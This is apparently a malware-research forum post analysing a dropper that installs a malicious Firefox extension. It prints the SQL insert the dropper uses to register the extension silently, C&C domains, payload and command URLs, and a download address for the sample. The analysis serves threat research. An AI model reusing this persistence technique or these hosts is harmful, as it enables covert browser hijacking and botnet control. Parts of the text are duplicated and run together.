From the story here: http://krebsonsecurity.com/2013/12/botn ... web-sites/
EXE: https://www.virustotal.com/en/file/19b5 ... 387210257/ > 33/49
XPI: https://www.virustotal.com/en/file/63ea ... 387210244/ > 2/49
Roughly:
The exe will kill your firefox process (if open) and try to get the default path of Mozilla Firefox then load mozsqlite3.dll (SQLite database library of firefox)
If mozsqlite3.dll is not into your firefox folder the malware will look for sqlite3.dll
Looking for firefox.exe process to kill:
Creating the malicious XPI (who's inside the EXE encoded in base64 originally):
Concat a query to register the extension via extensions.sqlite (used to stores data about installed extensions) and execute the query via sqlite3_exec:
From the XPI:
XPI Direct link:
EXE: https://www.virustotal.com/en/file/19b5 ... 387210257/ > 33/49
XPI: https://www.virustotal.com/en/file/63ea ... 387210244/ > 2/49
Roughly:
The exe will kill your firefox process (if open) and try to get the default path of Mozilla Firefox then load mozsqlite3.dll (SQLite database library of firefox)
If mozsqlite3.dll is not into your firefox folder the malware will look for sqlite3.dll
Looking for firefox.exe process to kill:
Creating the malicious XPI (who's inside the EXE encoded in base64 originally):
Code: Select all
Both are searched to retrieve functions and use the parameters of firefox.C:\Documents and Settings\Xylibox\Application Data\Mozilla\Firefox\Profiles\a9y0v6sz.default\extensions\advance@windowsclient.com.xpiConcat a query to register the extension via extensions.sqlite (used to stores data about installed extensions) and execute the query via sqlite3_exec:
Code: Select all
After droping/registering the malicious extension the executable just ZwTerminateProcess.INSERT INTO `addon` (`id`,`syncGUID`,`location`,`version`,`type`,`internalName`,`updateURL`,`updateKey`,`optionsURL`,`optionsType`,`aboutURL`,`iconURL`,`icon64URL`,`defaultLocale`,`visible`,`active`,`userDisabled`,`appDisabled`,`pendingUninstall`,`descriptor`,`installDate`,`updateDate`,`applyBackgroundUpdates`,`bootstrap`,`skinnable`,`size`,`sourceURI`,`releaseNotesURI`,`softDisabled`,`isForeignInstall`,`hasBinaryComponents`,`strictCompatibility`) VALUES ('advance@windowsclient.com','q218hASWjgq','app-profile','0.1','extension','','','','','','','','','29','1','1','0','0','0','C:\Documents and Settings\Xylibox\Application Data\Mozilla\Firefox\Profiles\a9y0v6sz.default\extensions\advance@windowsclient.com.xpi','1359123189894','1359123189894','1','0','0','16880','','','0','0','0','0');From the XPI:
Code: Select all
Interesting fact, Kafeine spotted it 6 months ago as payload on a Blackhole Exploit Kit.this.linkList='dbnetsoftware.com,nordewdd.com,auditpointm.com,dbsoftnet.com';
let url = "http://"+this.link+"/cme.php";consolMsg(url);
{ payloadLink:"/SIT/pl.php",
cmdLink:"/SIT/cm.php",XPI Direct link:
Code: Select all
EXE:
216.250.115.143/develop/script/windowsclient.com.xpiCode: Select all
C&C:
brehgf.com/bl/fts.exe
lan2wave.com/161e8fdc56f715bb/161e8fdc56f715bb/z.php?mf=1l:30:33:1o:1g&be=1f:1h:1h:1n:1k:1f:2w:1j:1n:1k&y=1f&hw=y&wb=n Code: Select all
216.250.115.143/develop/SEO/ADWP/login.phpAttachments
infected
(47.66 KiB) Downloaded 67 times
(47.66 KiB) Downloaded 67 times
